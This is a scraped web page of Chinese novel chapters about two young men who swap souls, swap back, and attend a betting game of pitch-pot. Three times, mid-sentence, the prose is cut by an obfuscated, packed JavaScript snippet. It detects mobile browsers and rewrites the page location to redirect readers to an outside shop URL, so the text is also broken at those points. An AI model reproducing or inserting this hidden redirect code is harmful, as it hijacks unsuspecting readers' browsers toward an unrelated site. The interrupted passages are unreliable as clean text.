晏为明想起方才他哥咻咻射箭的英姿,眼睛都亮了,小鸡啄米似的拼命点头:“好,好好,好好好!” 荆寒章瞥他:“那银子若是赢回来了?” 晏为明还在那傻乐:“全都给哥买衣裳,买一堆镶银边金线的衣裳!” 荆寒章哼笑了一声,打算回去写封信,让晏行昱也知道他在这具身体里,也没有闲着。 “帮他赢一堆银子。”荆寒章在那得意地哼,设想晏小鹿看到银子双眼放光的小模样,心想,“到时他肯定会拼命谢我。” 荆寒章自顾自琢磨半天,最后下了个结论:“最少得谢十遍!” 宫中,晏行昱抄完了十遍书,正在垂着眸漫不经心地擦手上的墨痕。 捧着盒子的宫人匆匆进来,道:“殿下,奴才没有寻到晏统领。” 晏行昱本想让晏沉晰传信,没想到一直都在宫中的晏沉晰竟然不在。 “他休沐了?” 宫人道:“据说摄政王府有宝物被盗,晏统领同惊蛰卫去追捕盗贼了。” 晏行昱一怔,眉头突然皱了起来。 他将手中的布巾扔开,起身往外走。 宫人忙拦:“殿下!” 晏沉晰不在宫中,现在天色已晚,皇帝应该早已歇下了。 能制住荆寒章的人已经不在,晏行昱有恃无恐。 “我要出宫。” 21. 幽会 晏行昱气势十足,学着荆寒章那不可一世的架势,终于畅通无阻地出了宫。 只是刚到了相府门口,迎面就撞见了满脸戾气的晏沉晰。 晏行昱:“……” 晏行昱刚从马车上爬下来,远远见着连忙想要再爬回去。 晏沉晰眼尖地瞧见他,眉头一皱,厉声道:“殿下!” 晏行昱故作镇定,转身一挥宽袖,佯作不耐烦道:“晏统领,何事?” 晏沉晰声音低沉,快步而来:“臣还想问问殿下,这么晚了您出宫所为何事?” 这话问的太不客气,若是荆寒章再次早就跳得老高开始骂人了,晏行昱却不生气,拿出早就准备好的说辞。 “前几日在相府夜宿时落了东西,我来寻。” 晏沉晰明显不信:“深更半夜的来寻?” “自然。”晏行昱道,“白日里晏统领看本殿下看的这么紧,若不挑这个时候,指不定连宫门都出不来。” 晏沉晰:“……” 这句话十分有荆寒章目下无尘的性格,晏沉晰被噎了一下,才退步道:“殿下也可派人来拿,不必亲至……” 晏行昱打断他的话,挑眉道:“我就是想自己出来寻,怎么,晏统领现在要抓我回宫禀告父皇吗?” 晏沉晰看了他一眼。 若是平日的话,他肯定会拿圣上的口谕抓私自出宫的七殿下回去,但现在自己还要连夜去查盗贼和擅自行动险些伤了“晏行昱”的惊蛰卫,自然没时间管他。 他行礼道:“臣不敢。” 晏行昱哼了一声,趾高气昂地踢开门进了相府。 晏沉晰随意点了几个人,吩咐道:“跟着七殿下,待他取到东西,便护送他回宫。” 被点到的几个惊蛰卫满脸苦涩:“统领,您觉得殿下会听我们的吗?” “不听就告诉殿下,若明日卯时三刻还未入宫,我会奉命将七皇子宫中的籽料送回国库。”晏沉晰说完,面色阴沉地带着人走了。 晏行昱跟着相府的小厮走了几步,突然顿住了。 晏行昱小声说:“脚疼。” 他刚才学荆寒章踢门,却忘记了相府那厚重大门又哪里是血肉之躯能随便踢的,当即被震得脚尖剧痛,强撑着走了几步就不成了。 小厮诚惶诚恐:“殿下,您……说什么?” 晏行昱摇头:“无事。不用你带路,我自己过去就好。” 小厮连忙道:“怎可怠慢殿下,奴才……” 他还没说完,晏行昱就一摆手,快步离开了。 因为盗贼和惊蛰卫,整个相府灯火通明,晏行昱半走半蹦到了偏院,刚好瞧见晏戟和他迎面而来。 晏行昱一愣,一声“爹”险些喊出口。 晏戟孤身前来,也不知是从偏院出来,还是根本没进去。 他手中拎着灯,如刀锋利的眸子漠然看了晏行昱一眼,也不行礼,冷淡道:“殿下,京城危险重重,出宫还是要多带些侍从才好。” 晏行昱没弄明白晏戟待荆寒章的态度,只好微微一点头,道:“丞相忧心了。” 晏戟没再多言,看了他一眼,慢条斯理地拎着灯走了。 晏行昱目送着他离开,这才推开偏院的门走了进去。 这么晚了,偏院依然很热闹,他还没走进去就听到里面晏为明咋咋呼呼的声音。 “打个人仰马翻!” “……跪下叫我爹!” 晏行昱叹了一口气,知道他那个蠢弟弟八成又在找事,也不知荆寒章有没有好好的按照自己的性子来待人处事。 若是不小心骂了晏为明,那自己归京后这段时日的掩藏也全都做无用功了。 不过听晏为明还这般中气十足敢对着“自己”叫嚣,八成荆寒章是忍住了没骂他揍他。 晏行昱怀着这样的欣慰,推门走了进去。 温暖的内室,荆寒章正坐在轮椅上漫不经心地雕玉,衣摆上全是玉屑。 而咋咋呼呼的晏为明此时却坐在地上,抬手扒着轮椅扶手,满脸崇敬地看着他,还时不时地伸手将“哥哥”身上的玉屑给扫下来。 晏行昱:“……” 晏行昱从没见过晏为明有这么殷勤狗腿的时候,当即有些懵。 晏为明还在那嘚啵嘚啵:“就后天吧,还是赏风楼,我要把输掉的几百两银子全都赢回来!” 荆寒章似笑非笑看他一眼:“你赢?” 晏为明:“哥赢!哥箭法这么准,定能百发百中!” 晏行昱:“……” 晏为明什么时候和他亲昵到叫他哥了? 才两天而已,荆寒章到底做了什么?! 这个时候,荆寒章和晏为明才发现有人来了。 荆寒章抬眸扫了他一眼,愣了一下才挑眉道:“你怎么来了?” 晏为明呆了好一会才猛地反应过来,连忙从地上爬起来行礼:“见过殿下。” 晏行昱一言难尽地看着他们。 荆寒章知道有外人在不好说话,对晏为明道:“你先回去吧。” 晏行昱看向晏为明,若是放在之前,这小蠢货定会和自己呛,吵闹着“你让我回去我就回去吗?没门”,但是这一次,听到了这句话,晏为明连忙乖巧地点头:“好,为明告退。” 晏行昱:“……” 晏为明说完,又乖乖行了一礼,欢快地小跑着出去了。 很快,他又跑回来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727635|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扒着门框,弯着一双眸子,对着荆寒章做口型:“后日,哥别忘记呀。” 荆寒章抬手一挥,示意他赶紧滚,晏为明乐颠颠地跑了。 晏行昱:“……” 直到屋内没了闲杂人等,晏行昱行了一礼,才艰难道:“殿下对我弟弟做了什么?” 荆寒章不明所以:“什么做了什么?我能做什么?” 晏行昱走过去:“平时他不是这样的。” 荆寒章“哦”了一声,继续雕玉,随口道:“刚才吓得呗。摄政王府和相府在同一条街,有盗贼偷盗宝物一路被惊蛰卫追到了相府,不管不顾在你院里放冷箭,他被连累到了,差点被箭射个对穿。” 晏行昱心想果真如此。 他矮下身,伸手想要去探自己的脉,荆寒章立刻抽手瞪了他一眼,道:“你做什么?” 晏行昱垂着眸,温顺地说:“我想看看您有没有受伤?” 荆寒章哼他:“我是谁啊,哪能随便受伤?别动手动脚的。” 晏行昱觉得有必要提醒他:“殿下,这是我自个的身体。” 荆寒章将手中雕了一半的玉抬起来,鼓起嘴吹了一下,玉屑顿时簌簌落了下来,根本没理晏行昱这句话。 晏行昱见他这样,大概想通了什么,拽着他的袖子,小声说:“殿下方才用袖中弩和那些惊蛰卫交手了?” 荆寒章的手一抖,手中还未成型的玉小鹿差点就废了。 原本他做的时候没觉得有什么,但晏行昱面容沉静地一追问,荆寒章不知道为什么突然有些心虚了。 在信中,荆寒章知道晏行昱定是极努力地在按照自己的性子做事,要不然偌大个皇宫这么多双眼睛,七皇子若是突兀地换了性子,根本不可能这般顺利地瞒天过海。 晏行昱在皇宫那种群狼环伺处处都是精明人的地方,都能做到滴水不漏,无人发现端倪; 而自己……就在这只有两个人的破院子里,所作所为皆是根本不会出现在晏行昱身上的招摇,明眼人一看就能瞧出来异样——除了晏为明那个小蠢货。 荆寒章一向自以为是,这回却难得心虚了。 他干咳一声,道:“本殿下不知道你在说什……” 荆寒章还没说完,晏行昱就伸手扣住他的五指,制住他的动作。 荆寒章:“……” “行昱的每一支箭上都标了数,前几日的三支是「壹」「柒」「拾叁」。” 晏行昱注视着他的眼睛,温柔地说:“要我帮殿下把袖子掀开吗?” 荆寒章:“……” 这蛇蝎小美人竟然将前几日在国师府自己拆穿他的话原封不动地还了回来? 怎么这么记仇?! 22. 甜吗 荆寒章没有晏行昱那般规矩,哪怕被这么质问也面不改色,一抖袖子,扬眉道:“这身体现在是我的,我想如何就如何,你别管。” 晏行昱:“……” 晏行昱觉得这几日自己已经隐约摸清楚荆寒章这人的行为处事了,但现在一看,他还是太嫩了。 打死晏行昱都做不到像荆寒章这么理不直气也壮地耍无赖。 晏行昱脾气很好,温和地劝他:“殿下,行昱身份特殊,命格更是受圣上忌惮,若是锋芒太过,怕是会引来杀身之祸。” 荆寒章大概自知理亏,但气势依然很足,他一拍扶手,道:“怕什么,你殿下护着你。” 晏行昱叹息,现在的荆寒章看着风光无限,实际上在这京都城处处受掣肘,能护住自己已是不易了。 “殿下这么说,就是真的在为明面前露馅了?” 荆寒章:“……” 荆寒章被噎了一下,嘀咕着捂住了袖子,哼了一声,不想和他说话。 七殿下很少会被人说的理亏,颇有些不自在地摆弄着自己手中的玉料。 晏行昱见到他这样也知道答案了,他也没生气。 荆寒章这样张扬的性子要他突然伪装,根本不可能做到滴水不漏,好在只有晏为明那小傻子瞧见,若是再换个人指不定暴露了。 不过魂魄互换之事实在是诡异,就算有人瞧出来也八成像阿满那样以为是易容替换,不会往鬼神之事去想。 晏行昱好脾气地说:“也无事,那明日我们便去寻国师。” 荆寒章见他不生气,悄无声息松了一口气,底气十足地说:“好。” 晏行昱将他身上的玉屑拂开,瞧见那被雕得乱七八糟的玉,偏头问:“殿下想雕什么?” 荆寒章坑了晏行昱,没好意思说要给他雕个丑小鹿,只好将那玉料塞到袖子里,道:“本来想给你做个玉冠的,但这里没有能用的工具,你这身体又根本没劲,刀都下不去,只能回我那再看。” 晏行昱嗅了嗅,闻到了荆寒章身上一股奇怪的药味。 他这些年喝药喝惯了,也略懂一些医理,想了想大约知晓那药味是将玉料软化方便雕琢的方子。 原本见荆寒章走到哪都拿块玉胡乱雕,还以为他是在故意败家,没想到他竟然真的精通琢玉。 晏行昱对荆寒章的观感莫名好了些,温声道:“劳烦殿下了。” 荆寒章更心虚了:“我既答应给你雕玉,就定会做到。” 把小鹿琢好看些吧。 七殿下难得良心发作地想。 就在这时,晏行昱像是察觉到了什么似的,眉头一皱,直接起了身后退几步,好像一副避谁如蛇蝎的架势。 荆寒章不明所以,不过很快他就知道原因了。 ——阿满端着刚熬好的药,缓步走了进来。 荆寒章:“……” 那苦药味堪称三步即杀,荆寒章险些被熏得往后一仰。 阿满小心翼翼走过来,瞧见晏行昱,一喜:“公子!您回来了!” 晏行昱站在那没吭声,好像对瓷瓶中的寒梅枝产生了极大的兴致,手指在袖子里一点一点的,似乎在数梅花有几瓣。 阿满熟稔地要将药递向晏行昱,晏行昱干咳一声,袖子里的手指轻轻一指,小声说:“那、那儿呢。” 荆寒章:“……” 阿满也才意识到,不是他公子要喝药,而是他公子那具躯体要喝药,便乖乖地转了个方向,把碗递给了荆寒章。 荆寒章眸子凉凉,想起来晏行昱那句“喝药好辛苦哦”,将方才好不容易发作了一点的良心收回个一干二净。 他皮笑肉不笑道:“公子,你殿下喝药也好辛苦,连个蜜饯都不给吃。” 晏行昱:“……” 晏行昱干咳了一声,对阿满小声吩咐道:“明日去买几颗蜜饯。” 阿满正要点头,就听到荆寒章提高了声音,不满地说:“几颗?!才买几颗?你糊弄谁呢?” 抠死你算了! 晏行昱不爱吃蜜饯,更不爱花钱,他觉得蜜饯既贵又不好吃,买几颗已经是最后的底线了。 “买几颗给殿下吃就够了,我不爱吃甜的。”晏行昱小算盘打得啪啪作响,“等到了国师府魂魄换回来,殿下就不必喝苦药了。” 荆寒章不开心:“那我这几日喝的苦药就这么算了是吗?” 荆寒章极爱糕点,自然是嗜甜的,这几日被灌了这么多苦药不说,还不给糖吃,好不容易吃了半块茯苓糕,反倒灌了更多的药。 受了这么多苦,七殿下往哪儿说理去? 见晏行昱又几乎将自己半张脸埋进衣领里,荆寒章没好气地道:“等换回来,你给我等着瞧。” 他说着,端起了药碗。 晏行昱见他肯替自己喝药,松了一口气。 小美人良心发作,心想等荆寒章喝完药,就将自己这几日在南书房故意出了点小风头的事告知他。 荆寒章余光扫了一下晏行昱,心想他这么爱钱,竟然还舍得让阿满给自己买贵的蜜饯——就算只买几颗,但足以证明真心。 七殿下良心再次发作,等着喝完药,就将自己方才答应晏为明后日要和一群纨绔子弟玩投壶的事告知晏行昱。 两人心思各异,一派和睦。 只是下一刻,荆寒章和晏行昱突然同时感觉到一阵天旋地转,未关紧的房门突然被一阵狂风吹开,哐的一声撞在墙上。 阿满吓了一跳,连忙哒哒哒跑出去内室,将房门关上。 再次回来时,就瞧见轮椅上的晏行昱正满脸茫然,盯着自己手中的药碗发呆; 而荆寒章正拽着自己的赤绦,试探地在指间甩来甩去,最后将赤绦往后一拨,脸上突然露出一个张狂的笑容。 阿满:“……” 阿满呆呆看着轮椅上的晏行昱:“公子?” 晏行昱漂亮的眼睛中有些失神,抬眸看了他一眼。 阿满一点头。 是了,这个恰到好处能引起无数同情和怜惜的眼神。 是他家公子了。 没有任何预兆,这两人竟然只在一瞬间又换了回来。 荆寒章重新回到了康健有力的身体中,觉得有些不真实,试探性地握拳,猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727636|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地砸在了一旁的桌子上。 哐的一声,桌子应声裂出一道裂纹。 荆寒章这才挑眉。 嗯,真实了。 晏行昱早已接受事实,端着药碗小脸苍白。 那药……荆寒章还一口没替他喝! 这时,一道黑影笼罩了他,晏行昱迷茫抬头,就瞧见荆寒章不知何时已经来到他面前,正饶有兴致地看着他。 晏行昱眼中不自觉地流露出一抹委屈,他怯怯地伸手将药碗往前递了递。 荆寒章盯着晏行昱那张玉质金相的脸蛋,瞧见他递药碗的微小动作,突然勾唇一笑。 “要我替你喝啊?” 晏行昱点点头,但立刻又摇摇头。 两人已换回来了,荆寒章喝了也没用。 荆寒章见他一副霜打了似的蔫样,心中一动,然后……伸手拽着晏行昱的轮椅扶手,将他推到了椅子旁。 晏行昱险些洒了药,忙端稳了,不明所以看着荆寒章。 荆寒章将晏行昱放好后,自己大刀阔斧地坐在轮椅对面的椅子上,将修长的腿一翘,手撑着侧脸,坏笑着道:“公子,请吧,你殿下瞧着你喝。” 晏行昱:“……” 半刻钟之前,晏行昱还在等着看荆寒章喝药; 没想到只是一个眨眼,喝药的就变成了他自己。 不过晏行昱也不是什么矫情的人,他喝了这么些年的药,早已不怵,也没多说,安安静静地端着碗将药一饮而尽。 晏行昱眉头都没皱一下将药喝完,按着心口感受着重新回来的疼痛。 在荆寒章的身体中只待了两日,他就险些忘记了自己还是个久病缠身的病秧子。 荆寒章看着他闭眸似乎有些难受的样子,不知怎么这好戏突然看不下去了,伸手从腰封的荷包里掏了掏。 听到动静,晏行昱疑惑看着他。 很快,荆寒章皱着眉头从荷包中拿出来一个精致的小木盒子。 那盒子只有巴掌大,还上了个异常小巧的锁,一看就知道里面装了贵重的东西。 晏行昱歪头看着,还以为荆寒章在看自己贵重的东西还在不在,当即眸子有些黯然,但还是温声道:“殿下不必担心,您的东西我并未擅自去动。” 他虽然爱财,却没到能偷盗旁人东西的地步。 晏行昱莫名有些难过,就听到咔哒一声,一股香甜弥漫在鼻息间。 接着,荆寒章的声音传来:“张嘴。” 晏行昱怔然抬头,还未说话就被荆寒章塞进唇边一样东西。 晏行昱本能伸出舌头舔了舔,唇缝一张开,荆寒章的指腹轻轻一推,一股香甜瞬间弥漫在唇边。 是一颗糖。 荆寒章笑着道:“这可是遂宁的杜蔗制成的糖霜,甜吗?” 晏行昱怔怔看着他,深藏在记忆深处的一幕突然和此时缓缓重合。 狭小的巷子中,一身红衣的孩子逆着烛光笑得开怀,俯下身塞到他嘴中一小块茯苓糕。 也问他:“甜吗?” 晏行昱琉璃似的眼睛浮现一层雾波,心口突然猛跳了两下。 23. 再换 荆寒章塞给晏行昱一颗糖后,觉得好像没什么事,大摇大摆地离开了。 晏行昱吃糖吃得耳根都红了,也一时间忘记了什么事,任由荆寒章离开。 守在相府的惊蛰卫瞧见他出来,立刻迎了上去。 “殿下。”惊蛰卫小心翼翼地试探道,“您取回落下的东西了?” 荆寒章看他,落下的东西? 哦,应该是晏行昱出宫随意寻的理由。 “取回了。”荆寒章晃了晃手中的糖木盒,“我的糖。” 惊蛰卫:“……” 惊蛰卫暗中腹诽:“这七殿下怎么和个孩子似的,这么大了还为了个糖盒特意出宫来拿?” 荆寒章也懒得管别人怎么看他,直接抢过惊蛰卫的马,纵马回了宫。 只是今日脚尖怎么这么疼? 相府中,阿满将晏行昱扶上榻,飞快道:“我还担心,若是后日鱼神医回来之前你们没有换回来该怎么办。还好还好……” 晏行昱含着糖不忍嚼,听到“鱼神医”这三个字,浑身僵了一下,大概回想起了极其可怕的事情。 阿满在一旁火上浇油:“鱼神医好不容易将您的腿医治的差不多,您又为了归京不被人看出端倪用针封住了经脉。鱼神医回来后发现了,您肯定吃不了兜着走。” 晏行昱打了个寒战,似乎极其害怕,他小声道:“我今晚就将针取了,你、你不要对他说。” 阿满很乖,点头说好。 但若是鱼神医医术通天自己瞧出来了,那自己也没辙。 晏行昱眉头紧皱,换了身宽松的亵衣,抬手缓缓在膝盖处探着。 阿满举着灯,有些不忍:“公子,疼吗?” 晏行昱手指已经触碰到了故意留在外的一小截针,他含着糖轻轻阖着眸,道:“我疼惯了。” 说着,他手一动,将针一点点拔了出来。 将两根针全都拔了出来,晏行昱单薄如纸的身子一阵摇晃,直接捂着胸口半伏在床沿猛烈地喘着,未束起的鸦羽乌发凌乱披散而下,委顿堆在地上。 他惨白的手微微一垂,微不可查的银针落在了地上,发出微弱的声响。 阿满焦急地扶住他:“公子!” 晏行昱伏在乱发中,额角全是汗水,他剧烈喘了几声,声音都在发颤:“我疼惯了,我、我不疼。” 他不知是在对阿满说,还是在哄骗自己。 他喃喃着不疼,最后却浑身发抖地将头伏在手臂上,久久没有说话。 疼惯了,但还是疼的。 因为拔针的缘故,晏行昱在家中躺了一整日,就连前去国师府也是阿满代为去的。 阿满回来后,见晏行昱手软地端不住碗,接过来碗拿勺子一勺一勺地喂他喝药。 “国师说他翻遍古籍都没有寻到魂魄互换之法的记载,荆寒章上午去过一回,也是为此来的。” 阿满喂了两勺子,晏行昱就偏头躲开了药勺,无奈道:“阿满,你觉得斩首和凌迟哪个比较痛快?” 阿满不明所以:“自然是斩首。” 晏行昱温柔地说:“我若一口喝完,便是痛快斩首;你一勺一勺喂我,便堪比凌迟,懂了吗?” 阿满:“……” 阿满这才意识到苦药不能一口一口品,忙把药碗递回给晏行昱。 晏行昱一饮而尽,“斩首”了。 将药碗递回去,晏行昱才靠在软枕上,病恹恹地拨动着佛珠:“那师兄有说还会再换吗?” “说了。”阿满道,“说有可能还会再换,荆寒章一听这话,脸都绿了,当即甩袖就走。他大概气狠了,还留下一句……” 「治不好本殿下,你们都得陪葬!」 晏行昱:“……” 这七殿下,很有当皇帝的潜力。 晏行昱休息了整整一天,夜晚还起身在房中走了两步。 他幼时双腿受伤,鱼息为他奔波数年才终于寻到治好他腿的法子,若是知晓他为了归京故意折腾才刚好的腿,鱼神医指不定把他活剥了。 晏行昱觉得双腿并无异状,鱼神医应该也瞧不出,这才放下心来。 第二日,晏行昱早早起床等鱼神医,只是神医没等来,倒是等来了晏为明。 晏为明红光满脸,双眼放光地跑了过来:“哥!哥晨安呐哥!” 晏行昱:“……” 他还是适应不了和他这么亲昵的弟弟。 晏行昱微微点头,算是打招呼了。 晏为明乐颠颠地走到轮椅后,直接推着轮椅就往外走。 晏行昱一愣:“你做什么?” 晏为明开心地说:“出门呀,哥今天定能将他们杀个片甲不留的吧!?对吧哥,哥对吧?” 晏行昱:“???” 什么片甲不留?他在胡说什么? 他弟弟是终于傻了吗? 晏行昱一把抬手一把掰下木轮椅的横木,强行将轮椅停了下来。 晏为明:“哥,怎么啦?” 晏行昱深吸一口气,觉得必定是荆寒章前几日做出来的事,他尽量让自己保持冷静,道:“我们今日要去哪里来着?” 晏为明大声说:“赏风楼!投壶去!” 晏行昱懵了,赏风楼? 这是什么地方? 赏什么风? 投什么壶? 晏行昱艰难稳住晏为明,道:“你、你先去准备马车,我还要再收拾一番。” 晏为明迷茫了:“啊?收拾什么呀?” 晏行昱:“你先别管,等会再来找我。” 晏为明很听话,闻言颠颠跑了。 晏行昱立刻把阿满叫出来,阿满这才后知后觉:“啊,公子您还不知道啊。” 他一五一十将晏为明如何被骗,荆寒章如何要为他出头的事说了。 晏行昱:“……” 晏行昱陷入了沉思。 阿满说:“投壶嘛,很容易的,公子弩都能百发百中,更何况是那种文人玩的游戏了。” 晏行昱轻声道:“树大招风,我不想风头太过。” 阿满:“那就不去了。” 晏行昱想了想,按照晏为明那一得意就能把牛吹上天的性子,知晓荆寒章百发百中的能力后觉得自己赢定了,肯定会和那群狐朋狗友耀武扬威。 他若是不去,恐怕晏为明会彻底沦为京都城的笑柄。 晏行昱揉了揉眉心,他腕骨消瘦,仿佛轻轻一折就断,最后无奈叹息道:“那便去吧。” 阿满见他似乎有些忧心,劝道:“能和小公子玩到一起的,八成也都是什么都不懂的纨绔,很好糊弄的。公子将小公子的本银赢回来便好。” 晏行昱点点头,任由阿满将他推出偏院。 走到一半,晏行昱突然问:“对了,投壶是怎么玩的?” 阿满:“……” 他家公子……今日若是输了一局,自己是不是该马上就跑,省得被怒火波及? 阿满满心担忧,但晏为明却脑子一根筋,完全沉浸在他哥大杀四方夺回银子的幻想中,坐在马车上乐得不行。 晏行昱正在看着自己的手,他暗器虽然精通一些,但若是空手投掷羽箭,却不知准头到底如何。 一筹五十两。 若他手一抖,五十两就要拱手他人了。 晏行昱猛地握紧手,面无表情地想:若是他输了银子,就将账赖在荆寒章头上。 谁让他擅自答应了,又全然不管了。 在南书房被按着背书没法子逃出宫的荆寒章偏头打了个喷嚏,他满脸烦躁,没好气地对江枫华道:“就今日,我就出宫一回。” 江枫华小声说:“殿下,若是缺席了林太傅的课,您宫中的玉料……” 荆寒章:“……” 好烦。 他担心晏行昱根本不会玩投壶,到时候小公子输完大公子输。 *** 京都城有一条横穿半座城池的河,赏风楼就在河边高阁。 车辇在赏风楼停下,晏行昱掀开帘子往外扫了一眼,人来人往,着实热闹。 只是…… 晏行昱指了指那高阁,蹙眉道:“那里有许多女人吗?” 他只是单纯地问是否有女人,晏为明却“嗷”的一声脸红了,拼命摆手:“这里才、才才不是什么青楼!就是听小曲的地方!” 晏行昱愣了一下,问他:“什么是青楼?” 晏为明:“……” 晏为明这才意识到,他哥虽然箭术厉害,却是自幼在寺庙长大的,指不定都这么大了还不通人事。 能指望寒若寺那帮苦行僧来告诉晏行昱什么叫做青楼吗? 晏为明脸突然红了,拽着他哥的袖子,小声说:“就是青色的楼。咳,咱们走吧。” 晏行昱不明所以,但还是跟着晏为明下了马车。 晏为明在京都城嚣张惯了,赏风楼的小厮瞧见他连忙来迎,瞧见轮椅上的晏行昱,脸色都有些古怪。 晏为明一瞧,立刻怒道:“你什么眼神?眼睛还想不想要了?!” 小厮吓了一跳,忙连声讨饶。 晏为明瞪了他一眼,推着他哥趾高气昂地进去了。 今日投壶一战,他哥必定名留投壶史册! 晏为明十分嚣张,谁用古怪的眼神看晏行昱,他就凶巴巴地瞪谁,一路骂到了二楼雅间才终于作罢。 没一会,整个勾栏街都知道晏家小公子带着大公子来赏风楼玩投壶了。 晏行昱:“……” 赢走晏为明几百两的人名唤常萧,是礼部侍郎之子,他年纪和晏行昱差不多,面容虽然俊美,但那双眼睛下却带着让人不喜的虚假,仿佛笑脸都是画上去。 晏行昱瞧见常萧的第一眼,眉头就皱了起来。 他因幼时的经历,惯会察言观色,就像之前只是和江枫华相处一日就隐约瞧出来江枫华的异常,十分敏锐。 若说江枫华是小心翼翼的掩藏,那这个常萧就是光明正大的虚假算计,大概是在京中横行霸道惯了,根本懒得掩饰,只在外表罩上一层薄薄的纱当做掩藏。 常萧本来被一群拍马的人烦得要命,无意中瞧见晏为明推着一个人进来,视线落在那轮椅上披着大氅的人身上,突然一愣,呼吸都险些停住了。 晏为明道:“哥,到了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727637|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏行昱淡淡睨了常萧一眼,手中佛珠轻轻拨动。 常萧被他这清绝的一眼看得如梦初醒,立刻挥开身旁的人,快步走上前,笑着掩藏住方才的失态:“为明到了。这位是大公子吧,常萧有礼了。” 他说着就要靠过来,晏为明却直接隔开他,蹙眉道:“我哥不喜别人靠近他,你别离这般近。” 常萧忙后退几步,笑着道:“是我失礼了。” 晏为明自从被骗走了银子后,已经不打算和他玩了,他也懒得和常萧周旋,直接道:“既然我们到了,那就开始玩投壶吧。” 常萧本来还想再坑晏为明一把,反正就晏为明那高傲的性子,就算输了钱也不会告知相府,肯定会打碎牙齿和血吞。 只是他却怎么都没想到,晏为明的兄长——那传说中的灾星竟是如此绝艳的人物。 众人在布置的空当,晏行昱一直端坐在轮椅上,漫不经心地拨弄着佛珠,眉目间一派淡然,仿佛自成一隅,和周围喧嚣格格不入。 周围的人不自觉地将视线往他身上飘,晏行昱也不在意,他拨了一会佛珠,偏头看了一眼窗外。 天色阴沉,似乎是要下雪了。 晏行昱突然蹙眉。 晏为明低头问他:“有风哎,哥,要关窗子吗?” 晏行昱摇头:“不必,尽量早些回去。” 常萧悄悄走到一旁,低声对侍从吩咐:“去准备些烈酒来,待会晏为明输光了钱,就让司射寻个缘由让他兄长代他喝酒。” 侍从吓了一跳,没想到他这般胆大包天:“那可是丞相公子……” 常萧道:“不受宠的灾星罢了,相府不会为了他出头的。” 他说着,再次不受控制地偏头看了那“灾星”一眼,不知怎么的脸都红了。 侍从见他执意如此,忙领命下去了。 片刻后,投壶的司射推来一扇寒梅屏风,挡在中央。 常萧彬彬有礼,余光一直在往晏行昱身上瞥,道:“此次换个比法,隔着屏风盲投如何?” 晏为明知道“他哥”黑暗中也百发百中的箭术,哼着道:“盲投就盲投。” “他哥”不怕! 晏行昱:“……” 他哥现在连规矩都没摸清楚,还是有点怕的。 晏为明毫不拖泥带水,根本不管常萧想要和他哥多说话的心思,催促着他开始。 司射出言说开始。 常萧先起身,拿着箭矢站在屏风后,抬手一掷,只听到一声闷响,箭矢插入了壶中的赤豆中。 司射道:“入壶了。” 周围一阵喝彩。 晏为明撇撇嘴,扭头开心地拿了一支箭矢递给晏行昱,满脸写着“哥你快发招杀了他们”。 晏行昱:“……” 晏行昱只好试探着捏着箭矢,估摸了一下距离,将箭矢投了出去。 屏风外传来一声脆响,似乎是箭矢触碰到壶的声音。 很快,司射道:“入壶。” 只是这次确实极其凶险,若不是壶中有赤豆,那箭定会飞出去的。 晏行昱差点丢了五十两,皱着眉头,拨弄佛珠的手极快。 常萧暗中瞧着,心中一阵欢喜。 晏为明昨日吹嘘的果真是假的,这美人一看就是初玩投壶,第一支误打误撞才入的,他现在越来越心烦,等会就会越来越手抖,更是很难投中。 常萧十分擅长玩投壶,第二支箭轻轻松松就中了。 晏为明担心司射是常萧买通的,气势汹汹去屏风后看。 常萧趁着这个机会,拿着一支箭矢走到晏行昱旁边,将箭矢递给他,淡淡道:“公子。” 晏行昱正要接过,常萧却紧拽着箭矢,笑着献殷勤:“公子应是第一次玩投壶,我先让公子三支箭矢可好?” 晏行昱抬眸看着他。 有胆子骗丞相小公子的人并非是良善之辈,晏行昱看着他的眼睛,瞧出来那掩藏不住的觊觎和势在必得的自信。 晏行昱微微歪头,觊觎? 觊觎什么? 银子? 那这三支箭可不能要,指不定有诈。 想到此人盯着他银子,晏行昱眉头紧皱,对他更不喜了。 他正要开口,心口突然泛上来一股古怪的感觉。 那感觉太过熟悉,晏行昱突然有种不祥的预感,本能想要去找针封住腿上的经脉。 但才刚动作,未关的窗户外一阵寒风吹来,将他肩上垂的一缕墨发吹到了脸侧。 乌发拂过雪白如玉的脸颊,缓缓垂落,晏行昱偏头看了一眼窗外。 已经下雪了。 常萧正等着晏行昱回答,突然感觉手中的箭矢一动,接着被那双骨节分明的手直接夺过去。 常萧一怔。 方才还满脸清绝绰约的美人不知为何突然笑了一声。 